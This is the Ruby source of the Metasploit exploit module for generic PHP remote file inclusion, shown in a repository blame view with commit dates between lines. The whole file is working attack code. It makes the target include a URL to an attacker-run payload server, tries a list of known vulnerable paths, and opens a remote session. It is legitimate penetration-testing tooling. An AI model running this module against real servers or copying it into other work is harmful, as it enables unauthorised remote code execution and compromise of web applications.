Files
metasploit-gs/modules/exploits/unix/webapp/php_include.rb
T

169 lines
5.2 KiB
Ruby
Raw Normal View History

##
2010-02-15 17:59:54 +00:00
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
2006-12-17 07:57:51 +00:00
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
2006-12-17 07:57:51 +00:00
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer::PHPInclude
2006-12-17 07:57:51 +00:00
def initialize(info = {})
2010-02-15 17:59:54 +00:00
super(update_info(info,
2012-02-20 19:25:55 -06:00
'Name' => 'PHP Remote File Include Generic Code Execution',
2006-12-17 07:57:51 +00:00
'Description' => %q{
This module can be used to exploit any generic PHP file include vulnerability,
where the application includes code like the following:
2010-02-15 17:59:54 +00:00
<?php include($_GET['path']); ?>
2006-12-17 07:57:51 +00:00
},
2011-10-04 16:02:52 +00:00
'Author' => [ 'hdm' , 'egypt', 'ethicalhack3r' ],
2006-12-17 07:57:51 +00:00
'License' => MSF_LICENSE,
2011-10-04 16:02:52 +00:00
#'References' => [ ],
2006-12-17 07:57:51 +00:00
'Privileged' => false,
'Payload' =>
{
'DisableNops' => true,
2010-02-15 17:59:54 +00:00
'Compat' =>
{
'ConnectionType' => 'find',
},
2010-06-02 05:04:24 +00:00
# Arbitrary big number. The payload gets sent as an HTTP
# response body, so really it's unlimited
'Space' => 262144, # 256k
2006-12-17 07:57:51 +00:00
},
2010-02-15 17:59:54 +00:00
'DefaultOptions' =>
{
'WfsDelay' => 30
2010-02-15 17:59:54 +00:00
},
'DisclosureDate' => 'Dec 17 2006',
2006-12-17 07:57:51 +00:00
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [[ 'Automatic', { }]],
'DefaultTarget' => 0))
2010-02-15 17:59:54 +00:00
register_options([
OptString.new('PATH', [ true , "The base directory to prepend to the URL to try", '/']),
OptString.new('PHPURI', [false, "The URI to request, with the include parameter changed to XXpathXX"]),
2011-10-04 16:02:52 +00:00
OptString.new('POSTDATA', [false, "The POST data to send, with the include parameter changed to XXpathXX"]),
2012-10-05 23:00:38 +02:00
OptString.new('HEADERS', [false, "Any additional HTTP headers to send, cookies for example. Format: \"header:value,header2:value2\""]),
OptPath.new('PHPRFIDB', [false, "A local file containing a list of URLs to try, with XXpathXX replacing the URL",
File.join(Msf::Config.install_root, "data", "exploits", "php", "rfi-locations.dat")
])
], self.class)
2006-12-17 07:57:51 +00:00
end
2010-02-15 17:59:54 +00:00
def check
uri = datastore['PHPURI'] ? datastore['PHPURI'].dup : ""
2010-02-15 17:59:54 +00:00
if(uri and ! uri.empty?)
uri.gsub!(/\?.*/, "")
print_status("Checking uri #{uri}")
response = send_request_raw({ 'uri' => uri})
2012-10-05 23:00:38 +02:00
return Exploit::CheckCode::Detected if response.code == 200
2010-02-15 17:59:54 +00:00
print_error("Server responded with #{response.code}")
return Exploit::CheckCode::Safe
else
return Exploit::CheckCode::Unknown
end
end
2008-03-04 07:34:26 +00:00
2012-10-05 23:00:38 +02:00
def datastore_headers
headers = datastore['HEADERS'] ? datastore['HEADERS'].dup : ""
headers_hash = Hash.new
if (headers and ! headers.empty?)
headers.split(',').each do |header|
key,value = header.split(':')
headers_hash[key] = value.strip
end
end
headers_hash
end
2010-02-15 17:59:54 +00:00
2012-10-05 23:00:38 +02:00
def php_exploit
2010-02-15 17:59:54 +00:00
uris = []
2012-11-08 17:42:48 +01:00
tpath = normalize_uri(datastore['PATH'])
2010-02-16 05:24:31 +00:00
if tpath[-1,1] == '/'
tpath = tpath.chop
end
2010-02-15 17:59:54 +00:00
# PHPURI overrides the PHPRFIDB list
2011-10-17 15:59:57 +00:00
if (datastore['PHPURI'] and not datastore['PHPURI'].empty? and (datastore['POSTDATA'].nil? or datastore['POSTDATA'].empty?) )
2010-02-15 17:59:54 +00:00
uris << datastore['PHPURI'].strip.gsub('XXpathXX', Rex::Text.to_hex(php_include_url, "%"))
2011-10-04 16:02:52 +00:00
http_method = "GET"
elsif (datastore['POSTDATA'] and not datastore['POSTDATA'].empty?)
uris << datastore['PHPURI']
postdata = datastore['POSTDATA'].strip.gsub('XXpathXX', Rex::Text.to_hex(php_include_url, "%"))
http_method = "POST"
2010-02-15 17:59:54 +00:00
else
print_status("Loading RFI URLs from the database...")
::File.open(datastore['PHPRFIDB'], "rb") do |fd|
fd.read(fd.stat.size).split(/\n/).each do |line|
line.strip!
next if line.empty?
next if line =~ /^#/
next if line !~ /^\//
uris << line.gsub('XXpathXX',
Rex::Text.to_hex(php_include_url.sub(/\?$/, '') + '?', "%") # ? append is required
)
end
end
uris.uniq!
print_status("Loaded #{uris.length} URLs")
end
# Very short timeout because the request may never return if we're
2008-03-04 07:34:26 +00:00
# sending a socket payload
timeout = 0.01
2010-02-15 17:59:54 +00:00
# We can't make this parallel without breaking PHP findsock
# Findsock payloads cause this loop to run slowly
uris.each do |uri|
break if session_created?
2008-03-04 07:34:26 +00:00
# print_status("Sending #{tpath+uri}")
2010-02-15 17:59:54 +00:00
begin
if http_method == "GET"
2011-10-04 16:02:52 +00:00
response = send_request_raw( {
'global' => true,
'uri' => tpath+uri,
2012-10-05 23:00:38 +02:00
'headers' => datastore_headers,
2011-10-04 16:02:52 +00:00
}, timeout)
elsif http_method == "POST"
response = send_request_raw(
{
'global' => true,
'uri' => tpath+uri,
'method' => http_method,
'data' => postdata,
2012-10-05 23:00:38 +02:00
'headers' => datastore_headers.merge({
2011-10-04 16:02:52 +00:00
'Content-Type' => 'application/x-www-form-urlencoded',
2012-10-05 23:00:38 +02:00
'Content-Length' => postdata.length
})
2011-10-04 16:02:52 +00:00
}, timeout)
end
2010-02-15 17:59:54 +00:00
handler
rescue ::Interrupt
raise $!
rescue ::Rex::HostUnreachable, ::Rex::ConnectionRefused
print_error("The target service unreachable")
break
2010-09-25 03:14:21 +00:00
rescue ::OpenSSL::SSL::SSLError
print_error("The target failed to negotiate SSL, is this really an SSL service?")
2010-09-25 03:14:21 +00:00
break
rescue ::Exception => e
print_error("Exception #{e.class} #{e}")
2010-02-15 17:59:54 +00:00
end
2011-10-04 16:02:52 +00:00
Thread.pass
2010-02-15 17:59:54 +00:00
end
end
end